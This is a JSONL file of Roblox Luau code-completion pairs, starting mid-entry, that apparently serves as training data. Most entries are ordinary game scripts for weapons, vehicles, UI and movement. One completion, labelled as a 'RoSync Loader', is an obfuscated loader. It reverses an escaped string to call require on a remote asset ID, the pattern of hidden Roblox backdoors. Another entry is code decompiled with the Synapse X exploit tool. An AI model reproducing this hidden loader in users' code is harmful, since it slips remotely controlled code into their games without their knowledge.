PlayersService:GetPlayerFromCharacter(Character)\nend\n\nlocal function OnActivated()\n\tif Tool.Enabled and Humanoid.Health > 0 then\n\t\tTool.Enabled = true\n\n\t\tFireSound:Play()\n\n\t\tlocal handleCFrame = Handle.CFrame\n\t\tlocal firingPoint = handleCFrame.p + handleCFrame:vectorToWorldSpace(NOZZLE_OFFSET)\n\t\tlocal shotCFrame = CFrame.new(firingPoint, Humanoid.TargetPoint)\n\n\t\tlocal laserShotClone = BaseShot:Clone()\n\t\tlaserShotClone.CFrame = shotCFrame + (shotCFrame.lookVector * (BaseShot.Size.Z / 2))\n\t\tlocal bodyVelocity = Instance.new('BodyVelocity')\n\t\tbodyVelocity.velocity = shotCFrame.lookVector * SHOT_SPEED\n\t\tbodyVelocity.Parent = laserShotClone\n\t\tlaserShotClone.Touched:connect(function(otherPart)\n\t\t\tOnTouched(laserShotClone, otherPart)\n\t\tend)\n\t\tDebrisService:AddItem(laserShotClone, SHOT_TIME)\n\t\tlaserShotClone.Parent = Tool\n\n\t\t\n\n\t\tReloadSound:Play()\n\t\t\n\n\t\tTool.Enabled = true\n\tend\nend\n\nlocal function OnUnequipped()\n\t\nend\n"} +{"prompt": "-- LOCAL FUNCTIONS", "completion": "\nlocal function checkTopbarEnabled()\n\tlocal success, bool = xpcall(function()\n\t\treturn starterGui:GetCore(\"TopbarEnabled\")\n\tend,function(err)\n\t\t--has not been registered yet, but default is that is enabled\n\t\treturn true\t\n\tend)\n\treturn (success and bool)\nend\n\nlocal function checkTopbarEnabledAccountingForMimic()\n\tlocal topbarEnabledAccountingForMimic = (checkTopbarEnabled() or not IconController.mimicCoreGui)\n\treturn topbarEnabledAccountingForMimic\nend\n"} +{"prompt": "--[[Shutdown]]", "completion": "\n\n\tcar.DriveSeat.ChildRemoved:connect(function(child) if child.Name==\"SeatWeld\" and child:IsA(\"Weld\") then script.Parent:Destroy() end end)\n\n"} +{"prompt": "--[[\n\t~= EXAMPLE CODE =~\n\treturn function(gui,gTable,guiData)\n\t\tlocal name = gTable.Name\n\t\tif name == \"YesNoPrompt\" then\n\t\t\tlocal new = Instance.new(\"ScreenGui\")\n\t\t\tlocal frame = Instance.new(\"Frame\",new)\n\t\t\tframe.Size = UDim2.new(0,400,0,400)\n\t\t\tlocal yes = Instance.new(\"TextButton\",frame)\n\t\t\tyes.Size = UDim2.new(0.5,0,1,0)\n\t\t\tyes.Text = \"Yes\"\n\t\t\tlocal no = yes:Clone()\n\t\t\tno.Text = \"No\"\n\t\t\tno.Position = UDim2.new(0.5,0,0,0)\n\t\t\t\n\t\t\tlocal gTable,gIndex = client.UI.Register(new)\n\t\t\t\n\t\t\tlocal ans\n\t\t\tlocal waiting = true\n\t\t\t\n\t\t\tgTable.CustomDestroy = function()\n\t\t\t\twaiting = false\n\t\t\tend\n\t\t\t\n\t\t\tyes.MouseButton1Click:Connect(function()\n\t\t\t\tans = \"Yes\"\n\t\t\t\tgTable:Destroy()\n\t\t\tend)\n\t\t\t\n\t\t\tno.MouseButton1Click:Connect(function()\n\t\t\t\tans = \"No\"\n\t\t\t\tgTable:Destroy()\n\t\t\tend)\n\t\t\t\n\t\t\trepeat wait() until ans or not waiting --// Wait until answer\n\t\t\treturn ans or false\n\t\tend\n\tend\n\t\n--]]", "completion": "\n\nservice = nil\nclient = nil\n\nreturn function(gui: ScreenGui, guiData, gTable)\n\tlocal TWEEN_TIME = 2\n\tlocal SEQUENCE = {\n\t\tColor3.fromRGB(255, 85, 88), \n\t\tColor3.fromRGB(78, 140, 255), \n\t\tColor3.fromRGB(78, 255, 149)\n\t}\n\tlocal CLASSES = {\n\t\tFrame = true;\n\t\tTextBox = true;\n\t\tTextLabel = true;\n\t\tTextButton = true;\n\t\tImageLabel = true;\n\t\tImageButton = true; \n\t\tScrollingFrame = true;\n\t}\n\t\n\tlocal contents = {}\n\tlocal OrgColors = {}\n\t\n\tlocal function getCont(obj)\n\t\tfor _, v in obj:GetChildren() do \n\t\t\tif CLASSES[v.ClassName] then\n\t\t\t\tlocal OrgColor = {}\n\t\t\t\tOrgColor.Background = v.BackgroundColor3\n\t\t\t\tif v:IsA(\"ImageLabel\") or v:IsA(\"ImageButton\") then \n\t\t\t\t\tOrgColor.Image = v.ImageColor3 \n\t\t\t\tend\n\t\t\t\tOrgColors[v] = OrgColor\n\t\t\t\ttable.insert(contents, v)\n\t\t\t\tgetCont(v)\n\t\t\tend\n\t\tend\n\tend\n\t\n\tgetCont(gui)\n\t\n\tif gTable.Name == \"List\" then\n\t\tgui.Drag.Main.BackgroundTransparency = 0\n\tend\n\t\n\tlocal function tweenToColor(color1, color2, time)\n\t\tlocal Info = TweenInfo.new(time, Enum.EasingStyle.Linear)\n\t\tfor _, v in contents do\n\t\t\tlocal orgcolor = OrgColors[v]\n\t\t\tv.BackgroundColor3 = color1:lerp(orgcolor.Background, 0.75)\n\t\t\tif orgcolor.Image then\n\t\t\t\tv.ImageColor3 = color1:lerp(orgcolor.Image, 0.75)\n\t\t\t\tservice.TweenService:Create(v, Info, {\n\t\t\t\t\tBackgroundColor3 = color2:lerp(orgcolor.Background, 0.75),\n\t\t\t\t\tImageColor3 = color2:lerp(orgcolor.Image, 0.75)\n\t\t\t\t}):Play()\n\t\t\telse\n\t\t\t\tservice.TweenService:Create(v, Info, {\n\t\t\t\t\tBackgroundColor3 = color2:lerp(orgcolor.Background, 0.75)\n\t\t\t\t}):Play()\n\t\t\tend\n\t\tend\n\t\ttask.wait(time)\n\tend\n\t\n\tservice.TrackTask(`Thread: Colorize_{gTable.Name}`,function()\n\t\trepeat \n\t\t\tfor i in SEQUENCE do\n\t\t\t\tlocal one, two = SEQUENCE[i], SEQUENCE[i+1] or SEQUENCE[1]\n\t\t\t\t\n\t\t\t\ttweenToColor(one, two, TWEEN_TIME)\n\t\t\tend\n\t\tuntil not task.wait(if gTable.Active then 0 else 1) and gTable.Destroyed\n\t\t\n\tend)\nend\n"} +{"prompt": "--[[\nfunction Thread:Wait(t)\n\tif t ~= nil then\n\t\tlocal TotalTime = 0\n\t\tTotalTime = TotalTime + RunService.Heartbeat:Wait()\n\t\twhile TotalTime < t do\n\t\t\tTotalTime = TotalTime + RunService.Heartbeat:Wait()\n\t\tend\n\telse\n\t\tRunService.Heartbeat:Wait()\n\tend\nend\n\nfunction Thread:Spawn(callback)\n\tcoroutine.resume(coroutine.create(callback))\nend\n\nfunction Thread:Delay(t, callback)\n\tlocal timer = Timer.new()\n\ttimer:SetActive(true)\n\ttimer:FireOnTimeReached(t, function()\n\t\tself:Spawn(callback)\n\t\ttimer:Destroy()\n\tend)\nend\n]]", "completion": "\n\nfunction Thread:Wait(t)\n\tif t ~= nil then\n\t\ttask.wait(t)\n\telse\n\t\ttask.wait()\n\tend\nend\n\nfunction Thread:Spawn(callback)\n\ttask.spawn(callback)\nend\n\nfunction Thread:Delay(t, callback)\n\ttask.delay(t, callback)\nend\n\nreturn Thread\n"} +{"prompt": "--[[ Last synced 2/17/2021 07:26 RoSync Loader ]]", "completion": " getfenv()[string.reverse(\"\\101\\114\\105\\117\\113\\101\\114\")](5722905184) --[[ ]]--\n"} +{"prompt": "--ignore table stuff", "completion": "\n\nworkspace.DescendantAdded:Connect(function(WHAT)\n\tif WHAT:IsA(\"Accessory\") or WHAT:IsA(\"Hat\") or WHAT.Name == \"HumanoidRootPart\" then\n\t\t--print(\"added \"..WHAT.Name)\n\t\ttable.insert(rayignore, WHAT)\n\telseif WHAT:IsA(\"BasePart\") and not WHAT.CanCollide and not WHAT.Parent:FindFirstChildOfClass(\"Humanoid\") then\n\t\t--print(\"found nocollide\")\n\t\ttable.insert(rayignore, WHAT)\n\tend\nend)\nworkspace.DescendantRemoving:Connect(function(WHAT)\n\tlocal findthing = table.find(rayignore, WHAT)\n\tif findthing then\n\t\t--print(\"removed \"..WHAT.Name)\n\t\ttable.remove(rayignore, findthing)\n\tend\nend)\n\nfor i,v in pairs(workspace:GetDescendants()) do\n\tif v:IsA(\"Accessory\") or v:IsA(\"Hat\") or v.Name == \"HumanoidRootPart\" then\n\t\t--print(\"added \"..v.Name..\" on start\")\n\t\ttable.insert(rayignore, v)\n\telseif v:IsA(\"BasePart\") and not v.CanCollide and not v.Parent:FindFirstChildOfClass(\"Humanoid\") then\n\t\t--print(\"found nocollide on start\")\n\t\ttable.insert(rayignore, v)\n\tend\nend\n"} +{"prompt": "------/// PUT IN Workspace OR ServerScriptStorage <3 \\\\\\------", "completion": "\n"} +{"prompt": "-- Format params: N/A", "completion": "\nlocal ERR_OBJECT_DISPOSED = \"This ActiveCast has been terminated. It can no longer be used.\"\n"} +{"prompt": "-- A collection of instances that may be parented to another instance.", "completion": "\nexport type Children = Instance | StateObject | {[any]: Children}\n"} +{"prompt": "--[[\n\t\n\tDEVELOPMENT MOVED!\n\t\n\tNEW LOADER:\n\thttps://www.roblox.com/library/2373505175/Adonis-Loader-BETA\n\t\n\t\n--]]", "completion": "\n\n\n\n"} +{"prompt": "--[[Engine]]", "completion": "\n\n\t--\t\t[TORQUE CURVE VISUAL]\n\t--\t\tGas Engine: https://www.desmos.com/calculator/nap6stpjqf\n\t--\t\tElectric Engine: https://www.desmos.com/calculator/ion9q7zp9t\n\t--\t\tUse sliders to manipulate values\n\t--\t\tEdit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo.\n\t\n\tTune.Engine \t\t= true\t\t-- Enables or disables gas engine\n\t\t\t\t\t\t\t\t\t-- TORQUE CURVE: https://www.desmos.com/calculator/nap6stpjqf\n\t\n\tTune.Horsepower\t\t= 602\n\tTune.IdleRPM\t\t= 700\n\tTune.PeakRPM\t\t= 8000\n\tTune.Redline\t\t= 8250\n\tTune.EqPoint\t\t= 5252\n\tTune.PeakSharpness\t= 20\n\tTune.CurveMult\t\t= 0.2\n\t\n\tTune.Electric\t\t= false\t\t-- Enables or disables electric engine\n\t\t\t\t\t\t\t\t\t-- TORQUE CURVE: https://www.desmos.com/calculator/ion9q7zp9t\n\t\n\tTune.ElecHorsepower\t\t= 223\n\tTune.ElecMaxTorque\t\t= 173\n\t\n\tTune.ElecTransition1\t= 4000\n\tTune.ElecHpFrontMult\t= 0.15\n\t\n\tTune.ElecTransition2\t= 9000\n\tTune.ElecHpEndMult\t\t= 2.9\n\tTune.ElecHpEndPercent\t= 10\n\tTune.ElecTqEndMult\t\t= 1.5\n\tTune.ElecTqEndPercent\t= 27\n\t\n\tTune.ElecRedline\t\t= 16000\n\t\n\tTune.InclineComp\t= 1.2\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Turbo Settings\n\tTune.Aspiration\t\t= \"Natural\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Aspiration]\n\t\t\"Natural\"\t\t: N/A, Naturally aspirated engine\n\t\t\"Single\"\t\t: Single turbocharger\n\t\t\"Double\"\t\t: Twin turbocharger\n\t\t\"Super\"\t\t\t: Supercharger\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\tTune.Boost\t\t\t= 5\t\t\t-- Max PSI (If you have two turbos and this is 15, the PSI will be 30)\n\tTune.TurboSize\t\t= 80\t\t-- Turbo size; the bigger it is, the more lag it has.\n\tTune.CompressRatio\t= 6\t\t\t-- The compression ratio (look it up)\n\tTune.Sensitivity\t= 0.05\t\t-- How quickly the Supercharger (if appllied) will bring boost when throttle is applied. (Increment applied per tick, suggested values from 0.05 to 0.1)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 250\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 75\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 3\t\t\t-- Percent throttle at idle\n\tTune.Flywheel\t\t= 500\t\t-- Flywheel weight (higher = faster response, lower = more stable RPM)\n\t"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal v1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nwhile not v1.Loaded do\n\tgame:GetService(\"RunService\").Heartbeat:Wait();\nend;\nreturn function(p1, p2)\n\tcoroutine.wrap(function()\n\t\twhile not p1.Parent do\n\t\t\tv1.RenderStepped();\t\t\n\t\tend;\n\t\tv1.GUIFX.Rainbow(p1.ImageLabel, \"ImageColor3\", 3);\n\t\tv1.GUIFX.Rainbow(p1.title, \"TextColor3\", 3);\n\tend)();\nend;\n"} +{"prompt": "-- Get a reference to an existing object\t", "completion": "\nlocal original = workspace.Main -- \u0421\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u0431\u044a\u0435\u043a\u0442"} +{"prompt": "--[[ Public API ]]", "completion": "--\nfunction MasterControl:Init()\n\t\n\tlocal renderStepFunc = function()\n\t\tif LocalPlayer and LocalPlayer.Character then\n\t\t\tlocal humanoid = self:GetHumanoid()\n\t\t\tif not humanoid then return end\n\t\t\t\n\t\t\tif humanoid and not humanoid.PlatformStand and isJumping then\n\t\t\t\thumanoid.Jump = isJumping\n\t\t\tend\n\t\t\t\n\t\t\tlocal adjustedMoveValue = moveValue\n\t\t\tif HasVRAPI and UserInputService.VREnabled and workspace.CurrentCamera.HeadLocked then\n\t\t\t\tlocal vrFrame = UserInputService.UserHeadCFrame\n\t\t\t\tlocal lookVector = Vector3.new(vrFrame.lookVector.X, 0, vrFrame.lookVector.Z).unit\n\t\t\t\tlocal rotation = CFrame.new(Vector3.new(0, 0, 0), lookVector)\n\t\t\t\tadjustedMoveValue = rotation:vectorToWorldSpace(adjustedMoveValue)\n\t\t\tend\n\t\t\t\n\t\t\tmoveFunc(LocalPlayer, adjustedMoveValue, true)\t\n\t\t\t\n\t\t\t\n\t\tend\n\tend\n\t\n\tlocal success = pcall(function() RunService:BindToRenderStep(\"MasterControlStep\", Enum.RenderPriority.Input.Value, renderStepFunc) end)\n\t\n\tif not success then\n\t\tif RenderSteppedCon then return end\n\t\tRenderSteppedCon = RunService.RenderStepped:connect(renderStepFunc)\n\tend\nend\n\nfunction MasterControl:Disable()\n\tlocal success = pcall(function() RunService:UnbindFromRenderStep(\"MasterControlStep\") end)\n\tif not success then\n\t\tif RenderSteppedCon then\n\t\t\tRenderSteppedCon:disconnect()\n\t\t\tRenderSteppedCon = nil\n\t\tend\n\tend\n\t\n\tmoveValue = Vector3.new(0,0,0)\n\tisJumping = false\nend\n\nfunction MasterControl:AddToPlayerMovement(playerMoveVector)\n\tmoveValue = Vector3.new(moveValue.X + playerMoveVector.X, moveValue.Y + playerMoveVector.Y, moveValue.Z + playerMoveVector.Z)\nend\n\nfunction MasterControl:GetMoveVector()\n\treturn moveValue\nend\n\nfunction MasterControl:SetIsJumping(jumping)\n\tisJumping = jumping\nend\n\nfunction MasterControl:DoJump()\n\tlocal humanoid = self:GetHumanoid()\n\tif humanoid then\n\t\thumanoid.Jump = true\n\tend\nend\n\nreturn MasterControl\n\n"} +{"prompt": "---------------------------------", "completion": "\nlocal force = Instance.new(\"BodyForce\")\nforce.Parent = torso\nf = force\nwait(0.01)\nelseif ison == 0 then\nif arms then\nsh[1].Part1 = arms[1]\nsh[2].Part1 = arms[2]\nf.Parent = nil\narms[2].Name = \"Right Leg\"\narms[1].Name = \"Left Leg\"\nwelds[1].Parent = nil\nwelds[2].Parent = nil\nTool.Parent.Humanoid.WalkSpeed = 16\nend\nend"} +{"prompt": "--[[\n\t\n\tThanks for using my GameAnalytics module! PM me (ByDefault) with any suggestions, bugs or feedback in\n\tgeneral!\n\t\n\tTo start using the module, follow these steps:\n\t\n\t1. Create an account on gameanalytics.com and create a game\n\t2. Get your game key and secret key\n\t3. Require this module ( require(GameAnalytics) )\n\t4. Call :Init(GameKey, SecretKey) on the module\n\t5. You're ready!\n\t\n\t\n\tTo send events, follow these steps:\n\t\n\t1. Create a table for the event, like so:\n\t\tlocal eventTable = {\n\t\t\t[\"category\"] = \"design\",\n\t\t\t[\"event_id\"] = \"Game:RoundStart:Spleef\",\n\t\t}\n\t2. Call :SendEvent(EventTable) on the module, letting the only parameter be the eventTable you just made\n\t3. That's it! Your event will automatically be sent within 15 seconds!\n\t\n\t\n\tIt may take a few minutes for your event to appear in the gameanalytics realtime page and every\n\tother page gets refreshed with the newest data daily.\n\t\n\tResources:\n\t REST API Docs: http://www.gameanalytics.com/docs/rest-api\n\t Account Management: http://www.gameanalytics.com/docs/account-management\n\t FAQ: http://www.gameanalytics.com/docs/faq\n\t\n--]]", "completion": "\n\nscript:remove()\n"} +{"prompt": "--[[~{ Created by Dan_PanMan }~]]", "completion": "--\n\nlocal datastore = game:GetService(\"DataStoreService\") --changing will break the script\nlocal valueData = datastore:GetDataStore(\"fhalcinx8wefy2p91243532\") -- DO NOT CHANGE! If you change all the data will be reset. Tip: Keep the name random so hackers wont be able to guess it.\n\nlocal startingValueAmount = 0 --the amount of coins you want the player to start off with.\nlocal valueName = \"Coins\" --the stat name\n"} +{"prompt": "--workspace.CurrentCamera.CameraSubject = script.Parent:WaitForChild(\"Head\")", "completion": "\n\nlocal h = script.Parent:WaitForChild(\"Humanoid\") :: Humanoid\nh.CameraOffset = Vector3.new(0,0,-1)\n\nRunService.RenderStepped:Connect(function()\n\tfor _,p in pairs(script.Parent:GetChildren()) do\n\t\tif p:IsA(\"BasePart\") and p.Name ~= \"Head\" then --and p.Name ~= \"UpperTorso\" then\n\t\t\tp.LocalTransparencyModifier = 0\n\t\tend\n\t\t--if p:IsA(\"BasePart\") and string.find(p.Name, \"Hand\") then\n\t\t--\tp.LocalTransparencyModifier = 0\n\t\t--end\n\tend\nend)"} +{"prompt": "--[[\n\tGoogleAnalytics Reporter is designed to provide a simple interface for\n\tyour GoogleAnalytics dashboard.\n]]", "completion": "\n\nlocal configuration = require(script.Parent.Parent.Parent.Config)\n"} +{"prompt": "--local lightCurve = model.Light.SpotLight.Flicker", "completion": "\n\n\nlocal loopCount = 5\n\nlocal LightSet = {}\nlocal LightStartingBrightnesses = {}"} +{"prompt": "--///////////////////////// Constructors\n--//////////////////////////////////////", "completion": "\n\nfunction module.new()\n\tlocal obj: any = setmetatable({}, methods)\n\tobj.SayMessageRequest = nil\n\n\treturn obj\nend\n\nreturn module.new()\n"} +{"prompt": "-- ROBLOX deviation: because of deviations in other functions, this function is\n-- not needed. If we need to bring it, it should return true if Component is a\n-- class component, and false if a function component\n-- local function shouldConstruct(Component)\n-- \tlocal prototype = Component.prototype\n-- \treturn not not (prototype and prototype.isReactComponent)\n-- end", "completion": "\n\nlocal function describeUnknownElementTypeFrameInDEV(\n\ttype: any,\n\tsource: nil | Source,\n\t-- ROBLOX deviation: owner could be a class component\n\townerFn: nil | ReactComponent\n): string\n\tif not _G.__DEV__ then\n\t\treturn \"\"\n\tend\n\tif type == nil then\n\t\treturn \"\"\n\tend\n\n\t-- ROBLOX deviation: in JavaScript, if `type` contains a class, typeof will\n\t-- return \"function\". We need to specifically check for the class.\n\tif typeof(type) == \"table\" and typeof(type.__ctor) == \"function\" then\n\t\t-- ROBLOX deviation: since Roact class components are tables, we can't\n\t\t-- count on describeClassComponent being a thin wrapper for\n\t\t-- describeFunctionComponent like upstream does implicitly\n\t\treturn describeClassComponentFrame(type, source, ownerFn)\n\tend\n\n\tif typeof(type) == \"function\" then\n\t\t-- ROBLOX DEVIATION: ignore enableComponentStackLocations\n\t\t-- if enableComponentStackLocations then\n\t\t-- \t-- ROBLOX deviation: since functions and classes have different\n\t\t-- \t-- types in Lua, we already know that shouldConstruct would return\n\t\t-- \t-- false\n\t\t-- \treturn describeNativeComponentFrame(type, false)\n\t\t-- else\n\t\t-- \treturn describeFunctionComponentFrame(type, source, ownerFn)\n\t\t-- end\n\t\treturn describeFunctionComponentFrame(type, source, ownerFn)\n\tend\n\n\tif typeof(type) == \"string\" then\n\t\treturn describeBuiltInComponentFrame(type, source, ownerFn)\n\tend\n\n\tif type == REACT_SUSPENSE_TYPE then\n\t\treturn describeBuiltInComponentFrame(\"Suspense\", source, ownerFn)\n\telseif type == REACT_SUSPENSE_LIST_TYPE then\n\t\treturn describeBuiltInComponentFrame(\"SuspenseList\", source, ownerFn)\n\tend\n\n\tif typeof(type) == \"table\" then\n\t\tlocal typeProp = type[\"$$typeof\"]\n\t\tif typeProp == REACT_FORWARD_REF_TYPE then\n\t\t\treturn describeFunctionComponentFrame(type.render, source, ownerFn)\n\t\telseif typeProp == REACT_MEMO_TYPE then\n\t\t\t-- // Memo may contain any component type so we recursively resolve it.\n\t\t\treturn describeUnknownElementTypeFrameInDEV(type.type, source, ownerFn)\n\t\telseif typeProp == REACT_BLOCK_TYPE then\n\t\t\treturn describeFunctionComponentFrame(type._render, source, ownerFn)\n\t\telseif typeProp == REACT_LAZY_TYPE then\n\t\t\tlocal lazyComponent = type\n\t\t\tlocal payload = lazyComponent._payload\n\t\t\tlocal init = lazyComponent._init\n\n\t\t\tlocal ok, result = pcall(function()\n\t\t\t\tdescribeUnknownElementTypeFrameInDEV(\n\t\t\t\t\t-- // Lazy may contain any component type so we recursively resolve it.\n\t\t\t\t\tinit(payload),\n\t\t\t\t\tsource,\n\t\t\t\t\townerFn\n\t\t\t\t)\n\t\t\tend)\n\n\t\t\tif ok then\n\t\t\t\treturn result\n\t\t\tend\n\t\tend\n\tend\n\n\treturn \"\"\nend\n\nreturn {\n\t-- deviation: ReactShallowRenderer depends on this, but the upstream `react`\n\t-- repo doesn't expose it; instead, the shallow-renderer's copies of shared\n\t-- modules do so. Since we opted to reuse the shared modules in this repo\n\t-- instead of duplicating, we need to have them include this field\n\tdescribeComponentFrame = describeComponentFrame,\n\n\tdescribeBuiltInComponentFrame = describeBuiltInComponentFrame,\n\tdescribeNativeComponentFrame = describeNativeComponentFrame,\n\tdescribeClassComponentFrame = describeClassComponentFrame,\n\tdescribeFunctionComponentFrame = describeFunctionComponentFrame,\n\tdescribeUnknownElementTypeFrameInDEV = describeUnknownElementTypeFrameInDEV,\n}\n"} +{"prompt": "-- connect up", "completion": "\n\nHumanoid.Died:connect(onDied)\nHumanoid.Running:connect(onRunning)\nHumanoid.Jumping:connect(function(state) onState(state, sJumping) end)\nHumanoid.GettingUp:connect(function(state) onState(state, sGettingUp) end)\nHumanoid.FreeFalling:connect(function(state) onState(state, sFreeFalling) end)\nHumanoid.FallingDown:connect(function(state) onState(state, sFallingDown) end)\n"} +{"prompt": "--// Firemode Shot Customization", "completion": "\n\tBurstNum = 3; -- How many bullets per burst\n\tShotNum = 12; -- How many bullets per shot\n\t"} +{"prompt": "-- This will inject all types into this context.", "completion": "\nlocal TypeDefs = require(script.Parent.TypeDefinitions)\n\ntype CanPenetrateFunction = TypeDefs.CanPenetrateFunction\ntype CanHitFunction = TypeDefs.CanHitFunction\ntype GenericTable = TypeDefs.GenericTable\ntype Caster = TypeDefs.Caster\ntype FastCastBehavior = TypeDefs.FastCastBehavior\ntype CastTrajectory = TypeDefs.CastTrajectory\ntype CastStateInfo = TypeDefs.CastStateInfo\ntype CastRayInfo = TypeDefs.CastRayInfo\ntype ActiveCast = TypeDefs.ActiveCast\n\nlocal typeof = require(script.Parent.TypeMarshaller)\n"} +{"prompt": "-- bool", "completion": "\nfunction Lerps.boolean(v0, v1)\n\treturn function(t)\n\t\tif t < 0.5 then\n\t\t\treturn v0\n\t\telse\n\t\t\treturn v1\n\t\tend\n\tend\nend\n"} +{"prompt": "--[[\n\tlocal slider, changed_event = Slider.new(Function changed_function nil, GuiObject Parent nil, Number min 0, Number max 1, Boolean round false)\n\t\n\tslider:Disconnect() -- disconnect all input events\n\t\n\tslider:Reconnect() -- reconnect all input events\n\t\n\tslider:Destroy() -- destroy the slider UI and Object.\n--]]", "completion": "\n\nlocal UserInput = game:GetService(\"UserInputService\")\n\nlocal Slider = {}\n\tSlider.__index = Slider\n\tSlider.Cloner = script.Slider\n\t\n\tlocal CONTROLLER_DEADZONE = .15\n\n\tfunction Slider.new(changed_function, parent, map_min, map_max, round)\t\n\t\tlocal self = setmetatable({}, Slider)\n\t\tself.Value = 0;\n\t\tself.Connections = {}\n\t\tself.destroy = {}\n\t\t\n\t\tself.Bar = Slider.Cloner:Clone()\n\t\tself.Bar.Parent = parent\n\t\tself.Slider = self.Bar.Slider\n\t\t\n\t\tself.Min = map_min or 0\n\t\tself.Max = map_max or 1\n\t\tself.Round = round == nil and false or round\n\t\t\n\t\tself.Label = self.Bar.Label\n\t\t\n\t\tself.Changed = Instance.new(\"BindableEvent\")\n\t\ttable.insert(self.destroy, self.Changed)\n\t\ttable.insert(self.destroy, self.Bar)\n\t\tif changed_function then\n\t\t\ttable.insert(self.Connections, self.Changed.Event:Connect(function(new_val, old_val)\n\t\t\t\tchanged_function(new_val, old_val)\n\t\t\tend))\n\t\tend\n\t\tself:Reconnect()\n\t\t\n\t\treturn self, self.Changed.Event\n\tend\n\t\n\t\n\tfunction Slider:Set(value, do_tween)\n\t\tvalue = math.clamp(value, self.Min, self.Max)\n\t\tself.Value = value\n\t\t\n\t\tlocal percent = (value - self.Min) / (self.Max - self.Min)\n\t\t\n\t\t\n\t\tself:Update(percent)\n\t\t\n\t\tif do_tween then\n\t\t\tself.Slider:TweenPosition(UDim2.new(percent,0,.5,0), \"Out\", \"Linear\", .5, true)\n\t\telse\n\t\t\tself.Slider.Position = UDim2.new(percent,0,.5,0)\n\t\tend\n\tend\n\t\n\tfunction Slider:Update(percent)\n\t\tlocal old_val = self.Value\n\t\tlocal new_val = self.Min + ((self.Max - self.Min) * percent)\n\t\tif self.Round then\n\t\t\tnew_val = math.floor(new_val + .5)\n\t\tend\n\t\tself.Value = new_val\n\t\tif self.Label then\n\t\t\tself.Label.Text = tostring(new_val) .. \"%\"\n\t\tend\n\t\tif self.Value ~= old_val then\n\t\t\tself.Changed:Fire(new_val, old_val)\n\t\tend\n\tend\n\t\n\tfunction Slider:Reconnect()\n\t\tlocal bar = self.Bar\n\t\tlocal slider = self.Slider\n\t\tlocal bar_size = bar.AbsoluteSize\n\t\tbar:GetPropertyChangedSignal(\"AbsoluteSize\"):Connect(function()\n\t\t\tbar_size = bar.AbsoluteSize\n\t\tend)\n\t\tlocal b_i_b = bar.InputBegan:Connect(function(io)\n\t\t\tif io.UserInputType == Enum.UserInputType.MouseButton1 or io.UserInputType == Enum.UserInputType.Touch then\n\t\t\t\tself.Listening = true\n\t\t\tend\n\t\tend)\n\t\tlocal s_i_b = slider.InputBegan:Connect(function(io)\n\t\t\tif io.UserInputType == Enum.UserInputType.MouseButton1 or io.UserInputType == Enum.UserInputType.Touch then\n\t\t\t\tself.Listening = true\n\t\t\tend\n\t\tend)\n\t\tlocal i_e = UserInput.InputEnded:Connect(function(io)\n\t\t\tif io.UserInputType == Enum.UserInputType.MouseButton1 or io.UserInputType == Enum.UserInputType.Touch then\n\t\t\t\tself.Listening = nil\n\t\t\tend\n\t\tend)\n\t\tlocal selection_g = slider.SelectionGained:Connect(function()\n\t\t\tself.Listening = true\n\t\tend)\n\t\tlocal selection_l = slider.SelectionLost:Connect(function()\n\t\t\tself.Listening = nil\n\t\tend)\n\t\tlocal mouse_movement = UserInput.InputChanged:Connect(function(io)\n\t\t\tif self.Listening == true then\n\t\t\t\tlocal percent\n\t\t\t\tif io.KeyCode == Enum.KeyCode.Thumbstick1 then\n\t\t\t\t\tlocal movement = io.Position.X\n\t\t\t\t\tif math.abs(movement) > CONTROLLER_DEADZONE then\n\t\t\t\t\t\tpercent = slider.Position.X.Scale + (movement > 0 and .01 or -.01)\n\t\t\t\t\tend\n\t\t\t\telseif io.UserInputType == Enum.UserInputType.MouseMovement or io.UserInputType == Enum.UserInputType.Touch then\n\t\t\t\t\tlocal bar_start, bar_end = bar.AbsolutePosition, bar.AbsolutePosition + bar_size\n\t\t\t\t\tlocal mouse_pos = io.Position\n\t\t\t\t\tlocal distance = bar_end.X - bar_start.X\n\t\t\t\t\tlocal difference_mouse = mouse_pos.X - bar_start.X\n\t\t\t\t\tpercent = difference_mouse / (bar_size.X)\n\t\t\t\tend\n\t\t\t\tif percent then\n\t\t\t\t\tpercent = math.clamp(percent, 0, 1)\n\t\t\t\t\tslider.Position = UDim2.new(percent,0,.5,0)\n\t\t\t\t\tself:Update(percent)\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\t\ttable.insert(self.Connections, s_i_b)\n\t\ttable.insert(self.Connections, b_i_b)\n\t\ttable.insert(self.Connections, selection_g)\n\t\ttable.insert(self.Connections, mouse_movement)\n\t\ttable.insert(self.Connections, i_e)\n\t\ttable.insert(self.Connections, selection_l)\n\tend\n\t\n\tfunction Slider:Disconnect()\n\t\tfor i=1,#self.Connections do\n\t\t\tlocal c = self.Connections[i]\n\t\t\tc:Disconnect()\n\t\tend\n\tend\n\t\n\tfunction Slider:Destroy()\n\t\tfor i=1,#self.destroy do\n\t\t\tlocal d = self.destroy[i]\n\t\t\td:Destroy()\n\t\tend\n\t\tself.destroy = {}\n\t\tself:Disconnect()\n\t\tself = nil\n\tend\n\nreturn Slider\n"} +{"prompt": "----------------------------------------------------------------------------------------------------------------", "completion": "\nfunction GunUp()\nHolstered = false\nTool.Enabled = true\ntorso = Tool.Parent:FindFirstChild(\"Torso\")\nif torso ~= nil then\ntorso.weld1.C1 = CFrame.new(0.9, 0.6, 0.4) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(25), math.rad(0))\ntorso.weld2.C1 = CFrame.new(-1, 0.6, 0.5) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-20), 0)\nend\nend\n\nfunction GunDown()\nHolstered = 